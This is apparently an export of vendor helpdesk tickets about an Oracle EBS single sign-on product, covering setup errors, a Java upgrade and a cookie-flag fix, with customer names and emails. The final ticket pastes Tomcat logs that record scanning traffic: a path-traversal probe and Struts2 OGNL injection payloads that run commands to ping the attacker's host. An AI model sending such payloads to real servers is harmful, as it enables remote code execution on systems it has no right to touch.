oracle.ucp.jdbc.PoolDataSourceImpl\$31.build(PoolDataSourceImpl.java:4279) at  
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1917) at  
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1880) at  
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1865) at  
com.likeminds.ebsauth.v1.DBConnectionValidator.getDBConnection(DBConnectionValidator.java:1  
48) at com.likeminds.ebsauth.v1.EIKDatasource.main(EIKDatasource.java:131) Caused by:  
oracle.ucp.UniversalConnectionPoolException: Invalid Universal Connection Pool configuration at  
oracle.ucp.util.UCPErrorHandler.newUniversalConnectionPoolException(UCPErrorHandler.java:336  
) at  
oracle.ucp.util.UCPErrorHandler.throwUniversalConnectionPoolException(UCPErrorHandler.java:59

) at  
oracle.ucp.util.UCPErrorHandler.throwUniversalConnectionPoolException(UCPErrorHandler.java:10  
6) at  
oracle.ucp.common.UniversalConnectionPoolBase.validatePoolSizes(UniversalConnectionPoolBas  
e.java:1669) at  
oracle.ucp.common.UniversalConnectionPoolBase.start(UniversalConnectionPoolBase.java:704) at  
oracle.ucp.jdbc.oracle.OracleJDBCCConnectionPool.start(OracleJDBCCConnectionPool.java:129) at  
oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:924) ... 8 more  
17:05:28.680 [main] ERROR com.likeminds.ebsauth.v1.EIKDatasource - Unknown Error occured  
java.sql.SQLException: Unable to start the Universal Connection Pool:  
oracle.ucp.UniversalConnectionPoolException: Invalid Universal Connection Pool configuration and  
received the error listed....

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, This error message points to invalid JDBC URL. Please have your DB team to check the  
JDBC URL and regenerate the dbcx file. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1192> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Didn't really resolve the issue... i ran the command again today exactly as i did yesterday and it  
worked...

TICKET DISPLAY ID : 1193

SUBJECT : Getting No handler found for GET /EBSAuth

PROBLEM DESCRIPTION : I'm setting up our 2nd instance....I setup java, tomcat, the dbcx file, the EIKAuth.config, the EIKUSER, and the profile option, but when try to go to the site, i see No handler found for GET /EBSAuth in the eik-error.log

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, Is the war file placed in the webapps folder with the proper instance name? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

```
[oakdale:oracle]/oasitsso/app/tomcat_latest/EBSAuth> ls ebsauth.lic EBSdatasource.jar  
EIKAuth.config log logs EBSAuth.war EIK.dbcx EIKutility.jar log4j2.xml security.properties
```

Hi Bob, Please copy the EBSAuth.war file into the 2nd instance and rename as per your request. The war file should copied into apache tomcat/web apps directory. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

```
[oakdale:oracle]/oasitsso/app/tomcat_latest/webapps> ls docs EBSAuth EBSAuth.war examples  
host-manager manager ROOT it was in the webapps folder as well....
```



Hi Bob, Have you customised the Eikauth.config file? If not please modify the config file in 2nd instance and check the SSO login. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I edited the EIKAuth.config from our working instance for the new instance.

Hi Bob, Could you please send us latest eik logs and screenshot of error message. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Here is screenshot: and i've attached the logs

Hi Bob, Thanks for sending the Eik logs. We will check and get back to you on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Question... to create the EIKAuth.config file, rather than running the java command, i copied the one for oadev2 to the home for oasit and changed the references of oadev2 to oasit.... I have a feeling that is the cause of this issue. i'm thinking the client\_id and the client\_secret match up with Azure application client id and the Azure application secret (which is going to be different for each instance). my EIKAuth.config file for oasit has the client id/ secret for oadev2 application which has

different urls which is why we're getting the error. I can run the java command to recreate the EIKAuth.config file and i'm guessing what it puts in the file is an encrypted version of what Azure shows?

Hi Bob, Please regenerate the config file for the second instance and give it a try. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

OK, i regenerated the EIKAuth.config file using the java utility....Unfortunately, it's still not working... Can we setup a meeting to look at this?

Hi Bob, Yes Bob, Please send us a meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We were using the wrong client id, so we regenerated the EIKAuth.config one more time.... we're getting closer, but not there yet... I'm now seeing this error in the log file:

```
2024-11-06T16:26:07.625-0500          ERROR          [https-jsse-nio-8443-exec-4]
[com.likeminds.ebsauth.datasource.DataSourceManager] No User record found for Username:
IDY0417OIx_rAJy136FP-3zHUW1NiFxBbkOfpOvwi8, Mapping the column: email_address
2024-11-06T16:26:07.626-0500          ERROR          [https-jsse-nio-8443-exec-4]
[com.likeminds.ebsauth.exception.EikExceptionResolver] EIK_SQL_EIK_USER_LOOKUP_ERROR
com.likeminds.ebsauth.exception.AuthException: EIK_SQL_EIK_USER_LOOKUP_ERROR
```

Hi Bob, Please have a look at these three points pertaining to the USER\_LOOKUP\_ERROR\_ Verify User Account: Ensure the user account in EBS is active and correctly configured. Confirm that the username matches the one that's being used to access the application. Clear Oracle Cache: Sometimes, cache issues cause lookup errors. Clear the application cache by using Functional Administrator > Core Services > Caching Framework. Restart Services: Restarting the application services can sometimes resolve lookup errors if they are caused by transient issues. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Who do i send an invite to take a look at this?

Hi Bob, This was communicated to you and you had sent the invite to [eiksupport@likemindsconsulting.com](mailto:eiksupport@likemindsconsulting.com)

===== Kindly have your EBS team look into the followings: Setting up the landing page in Oracle E-Business Suite (EBS) after a Single Sign-On (SSO) session involves configuring preferences so users are directed to a specific page upon successful login. Here's a step-by-step guide: ? 1. Configure the EBS Profile Options Oracle EBS uses profile options to control various user interface and functional behaviour's. For setting up a landing page: Responsibility: Login to EBS with the System Administrator responsibility. Update Profile Options: Navigate to: System Administrator > Profile > System. Search for: Applications Start Page (APPLICATIONS\_START\_PAGE): This determines the landing page for users. Optionally, set Self-Service Personal Home Page Mode (SELF\_SERVICE\_PERSONAL\_HOME\_PAGE\_MODE) if the default is a self-service page. Set the Profile Value: Enter the desired URL or function name of the page to be the landing page. You can set this at different levels: Site Level: Applies to all users. Responsibility Level: Applies to users with

a specific responsibility. User Level: Applies to a specific user. Example: For Oracle Self-Service: /OA\_HTML/AppsLocalLogin.jsp. For a specific function: Enter the internal function name, such as ICXINDEX for the standard EBS homepage.

2. SSO Configuration for Session Redirect If using SSO, the landing page after login is controlled by the session redirection setup in SSO or Oracle Access Manager (OAM). Steps: Login Page Configuration: Ensure the Oracle EBS login page or SSO redirection points to the correct EBS server URL. Validate the Redirect URI: SSO setups often include a RelayState or similar parameter to specify the destination URL after authentication. Configure this to point to the EBS landing page. Enable Profile Option for SSO: Applications Start Page should align with the redirect URL defined in the SSO configuration.

3. Test and Validate Test the Landing Page: Perform an end-to-end test of the SSO login process to verify the user is directed to the desired landing page. Check User Roles: Ensure the user has access to the specified page or function. Debugging Issues: If the landing page doesn't load as expected, check: EBS application logs. WebLogic logs for any redirection errors.

4. (Optional) Personalize the Home Page For more flexibility, you can personalize the home page: Login as User: Navigate to Preferences. Set Default Home Page: Users can set their default home page under Preferences > General > Home Page

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Issue resolved. STERIS team reviewed EIKAuth.config file for new instance and EIKAuth.config file for orig working instance and found a mismatch, and we compared profile options between the two ebs environments and found a mismatch. After fixing these..SSO is working on new instance. We will be modifying our installation steps accordingly. Thanks

Hi Bob, Thank you for the Update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1193> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1194

SUBJECT : EBS Production login issue - Login struck on <https://pingprod.activision.com/>

PROBLEM DESCRIPTION : SSO login stopped working after network maintenance. Login stuck at  
below url

<https://pingprod.activision.com/EBSAuth/error.jsp?message=Oops!!%20System%20error%20occured.%20Please%20contact%20your%20administrator>

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Server log from navlppngap02 uploaded

Server log from admin server navlppngap01 uploaded

Hi Activision DBA, We will check and get back to you . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please provide the network trace,eik logs and screenshot of error. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Thanks for the information. please send us the meeting invite to look into it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Following our call, we understand there?s a production database connection issue due to recent network maintenance. Your team is addressing it, and we?re on standby to provide immediate support if needed. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Could you please send us an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Thanks for the update.Sure we will be on standby. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, On your confirmation we are closing this ticket.If you experience any issues or require further assistance, please feel free to reopen it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1194> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1195

SUBJECT : Authenion openJDK vulnerability

PROBLEM DESCRIPTION : Authenion open JDK version is at ?11.0.0.2?. since we have servers in DMZ it needs to be patched to minimum of 11.0.24 as below. Is this version supported by LikeMinds? Are there any interdependent s/w that needs to be updated? Let me know. Thanks Nara

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Nara Alwar, ?We will check and get back to you! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1195> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, We are in the process of testing OpenJdk v17 and OpenJdk v11.0.24, we shall get

back to you ASAP with our recommendations. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1195> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, We have tested and confirmed that eik v2.3.x.x works with OpenJdk ver 11.0.24 and OpenJdk ver 17.0.12 in Tomcat ver 9.0.91, 9.0.93 and 9.0.95. Please do test in a lower environment before moving into Production and do not hesitate to contact us should you have further queries. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1195> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello EIK team, Can you place/attach the software you tested for OpenJdk ver 11.0.24 ? I'll download the same and test in our environments. Thanks Nara

Hi Nara Alwar, Please download from the link provided below (file size is exceeding the portal upload capacity)

[https://www.openlogic.com/openjdk-downloads?field\\_java\\_parent\\_version\\_target\\_id=406&field\\_operating\\_system\\_target\\_id=426&field\\_architecture\\_target\\_id=391&field\\_java\\_package\\_target\\_id=396](https://www.openlogic.com/openjdk-downloads?field_java_parent_version_target_id=406&field_operating_system_target_id=426&field_architecture_target_id=391&field_java_package_target_id=396)

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1195> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello EIK support, IT security still notice multiple vulnerabilities with 11.0.24 and requested to update higher version. Can we download 11.0.25 instead? Thanks Nara



Hi Nara Alwar, Please go with Openjdk ver 17.0.12 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1195> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, We have remediated the vulnerability. You can close this ticket. Thank you Nara

Remediated OpenJdk vulnerability promptly. Thanks

TICKET DISPLAY ID : 1196

SUBJECT : Checking current Likeminds version and certification on Oracle Linux 8

PROBLEM DESCRIPTION : Hi Support, We wanted to know the version of current LikeMinds software version and certification of both pingfed and LikeMinds software on Oracle Linux 8.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Activision DBA, 1.Current Likeminds software version (EIK) can be found in the eik-debug log (example). 2. Pingfederate SSL certificate details can be found as shown below (example). Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1196> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please send us a meeting invite to address your queries. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1196> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Support, Thanks for quick response! We couldn't find debug log in all 3 servers and no entries in server logs. Is someone available to join the call to check the version? My second question was current LikeMinds and Pinged Versions supported on Oracle Linux 8 version? If not, what versions are supported? Regards, FT

Hi Activision DBA,(Francis) Reference to our call, You may be running eik version 2.0, and we suggest that you move to eik version (2.3.1.2) OpenJdk ver 11.0.24 or 17.0.12 Supports Linux ver 8 Please test in a lower environment before moving into Prod. eik 2.3.1.2 binaries can be downloaded from here ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1196> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA (Francis) We are closing this ticket, you could open the same if necessary. Please let us know if you have further queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1196> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1197

SUBJECT : Authenion Cookie Without Secure Flag vulnerability

PROBLEM DESCRIPTION : Cookie Without Secure Flag Detected VULNERABILITY LOW PLUGIN

ID 98064 allow it to be sent when an encrypted channel is used (HTTPS). The scanner discovered that a cookie was set by the server without the secure flag being set. Although the initial setting of this cookie was via an HTTPS connection, any HTTP link to the same server will result in the cookie being sent in clear text. Note that if the cookie does not contain sensitive information, the risk of this vulnerability is mitigated. Solution: If the cookie contains sensitive information, then the server should ensure that the cookie has the `secure` flag set. See Also [https://cheatsheetseries.owasp.org/cheatsheets/Session\\_Management\\_Cheat\\_Sheet.html#secure-attribute](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#secure-attribute)

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

When the `secure` flag is set on a cookie, the browser will prevent it from being sent over a clear text channel (HTTP) and only allow it to be sent when an encrypted channel is used (HTTPS).

I do see this property set: security.properties:cookie.overrideSecure = true

Hi Nara Alwar, We will check this "Flag vulnerability" with our development team and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, In the security.properties file under the EIK instance, set cookie.overrideSecure = false instead of true. By default, when cookie.overrideSecure is false, the secure flag is enabled. Setting it to true disables the secure flag. This should resolve your issue. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello, These are current settings for ?security.properties? file. applprod:prod> cat security.properties  
header.X-Frame-Options = DENY cookie.overrideSecure = false ß changed this to false.  
cookie.stateCookieExpiry = 15 cookie.stateCheck=true Check if other settings are correct. Thanks  
Nara

Hi Nara Alwar, We will check and get back to you soon. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Thanks for sharing the details. We've reviewed the settings in the security.properties file and cookie.overrideSecure = false enables the secure flag for cookies, which should address the reported vulnerability. The other settings are also looks fine: header.X-Frame-Options = DENY  
cookie.stateCookieExpiry = 15 cookie.stateCheck = true Please let us know if anything is required.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Could you please provide us with an update on this ticket? Thanks. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Authenion vulnerability remediated. Thanks.

Hi Nara Alwar, Thank you for the update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1197> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1198

SUBJECT : User getting EIK\_LM\_2009 error

PROBLEM DESCRIPTION : I just had a user testing their connectivity in our test environment and they are receiving this error. We are using the FND\_USER email address as the authentication field, so we have populated that column with the UPN for everybody. I've checked this user's UPN with the AD team and it is correct, i've verified that value is in the email address in the FND\_USER table. I've checked the eik-\*.logs and i don't see anything for that user....any ideas on how to debug this?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, Kindly send us the screen shot of the error message and the eik-error & eik-debug logs. It is good to verify this user's UPN and email address?. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1198> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Screen shot and eik\*.logs attached

Hi Bob, Thank you for the logs ,we will get back to you on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1198> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, We see that the eik-error log (user MAIL\_ADDRESS attribute is not passing to eik) is pointing to an SQL user config error, most likely in the FND table (make sure the user is properly populated in the FND\_TABLE) Can you please compare the changes with one of the working users.

2024-12-03T11:06:35.740-0500 ERROR [https-jsse-nio-8443-exec-9]

[com.likeminds.ebsauth.datasource.DataSourceManager] No User record found for Username: SravanKumarChowdary\_Gali@steris.com, Mapping the column: email\_address

2024-12-03T11:06:35.741-0500 ERROR [https-jsse-nio-8443-exec-9]

[com.likeminds.ebsauth.exception.EikExceptionResolver] EIK\_SQL\_EIK\_USER\_LOOKUP\_ERROR

com.likeminds.ebsauth.exception.AuthException: EIK\_SQL\_EIK\_USER\_LOOKUP\_ERROR Ticket

URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1198> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

The user i'm having a prob with is RABOCK - Rachel\_Bock@steris.com.... i've looked thru each of EIK\*.log files and i'm not seeing any reference to her user/email address.

Hi Bob, Kindly Check her role in the db is it mentioned properly in SQL func ? also check the db errors. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1198> Regards, EIK

Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Sorry for wasting your time.... after another session with the user, we discovered the issue. The link she was using was pointing to an instance that she wasn't setup in, and not an instance that we thought. problem solved. i'm closing the ticket.

TICKET DISPLAY ID : 1199

SUBJECT : Setting up new EBS supplier site in prod for sso and getting page not displayed

PROBLEM DESCRIPTION : When trying to access <https://portal.cheniere.com> it stops at this page.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

```
Tomcat      log      error:      10-Dec-2024      18:11:39.705      INFO      [main]
org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive
[/u01/app/authenion/tomcat/webapps/EBSAuth.war] has finished in [3,369] ms 10-Dec-2024
18:11:39.707 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler
["http-nio-8080"] 10-Dec-2024 18:11:39.724 INFO [main] org.apache.catalina.startup.Catalina.start
Server startup in [3511] milliseconds 10-Dec-2024 20:01:43.120 INFO [http-nio-8080-exec-2]
org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header Note: further
occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in the request target
[..\\.\\.\\.\\.\\.\\.\\.\\.windows\\win.ini ]. The valid characters are defined in RFC 7230 and RFC 3986 at
```

org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:490) at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:261) at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:936) at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1791) at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) at  
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190) at  
org.apache.tomcat.util.threads.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:659) at  
org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:63) at  
java.base/java.lang.Thread.run(Thread.java:829)

64.125.105.67 - - [10/Dec/2024:20:02:10 -0600] "GET null HTTP/1.1" 400 435 64.125.105.67 - -  
[10/Dec/2024:20:02:52 -0600] "POST / HTTP/1.1" 404 431 64.125.105.67 - - [10/Dec/2024:20:02:52  
-0600] "GET  
%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT\_MEMBER\_ACCESS%29.%28%23c  
t%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27co  
m.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance  
%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPack  
ageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%2  
9.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%40java.lang.Runtime%40g  
etRuntime%28%29.exec%28%27ping%20-c%203%20-p%204d7a4c50684141747068%2064.125.1  
05.67%27%29%29%7D// HTTP/1.1" 400 435 64.125.105.67 - - [10/Dec/2024:20:02:52 -0600] "GET  
/(%23mem=%23\_memberAccess%3D%40ognl.OgnlContext%40DEFAULT\_MEMBER\_ACCESS)  
%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]):index.xhtml?cmd=ping%20%  
2dc%203%20%2dp%205f4168537937635a4a4c%2064.125.105.67 HTTP/1.1" 400 435  
64.125.105.67 - - [10/Dec/2024:20:02:56 -0600] "GET / HTTP/1.1" 404 431 64.125.105.67 - -



[10/Dec/2024:20:02:56 -0600] "GET null HTTP/1.1" 400 435 64.125.105.67 - -  
[10/Dec/2024:20:02:56 -0600] "GET / HTTP/1.1" 404 431 64.125.105.67 - - [10/Dec/2024:20:02:56  
-0600] "GET null HTTP/1.1" 400 435 64.125.105.67 - - [10/Dec/2024:20:02:56 -0600] "GET null  
HTTP/1.1" 400 435 64.125.105.67 - - [10/Dec/2024:20:02:56 -0600] "GET null HTTP/1.1" 400 435  
64.125.105.67 - - [10/Dec/2024:20:02:56 -0600] "GET  
/?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfals  
e%2c%23f%3d%23\_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethod  
Access%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23\_memberAccess%2ctru  
e%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%  
29.exec%28%27ping%20-c%203%20-p694a4f326d4637344158%2064.125.105.67%27%29.getInputStream  
utStream%28%29%29%7d HTTP/1.1" 404 431 64.125.105.67 - - [10/Dec/2024:20:03:00 -0600]  
"GET /?redirect:%24%7B57550614%2b16044095%7D HTTP/1.1" 404 431 64.125.105.67 - -  
[10/Dec/2024:20:03:00 -0600] "GET / HTTP/1.1" 404 431 64.125.105.67 - - [10/Dec/2024:20:03:00  
-0600] "GET null HTTP/1.1" 400 435 64.125.105.67 - - [10/Dec/2024:20:03:00 -0600] "GET null  
HTTP/1.1" 400 435 64.125.105.67 - - [10/Dec/2024:20:03:02 -0600] "GET  
%24%7B%28%23\_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a  
%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27ping%20-c%203%20-p%204d7a4c50  
684141747068%2064.125.105.67%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.I  
nputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%2  
9%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@o  
rg.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.p  
rintln%28%23d%29%2C%23sbtest.close%28%29%29%7D// HTTP/1.1" 400 435 64.125.105.67 - -  
[10/Dec/2024:20:03:12 -0600] "GET / HTTP/1.1" 404 431 64.125.105.67 - - [10/Dec/2024:20:03:12  
-0600] "GET %24%7B%7B57550614+16044095%7D%7D// HTTP/1.1" 400 435

nothing in EIK logs. Can we setup a call tomorrow at 7am Central time with me? Thanks Nara

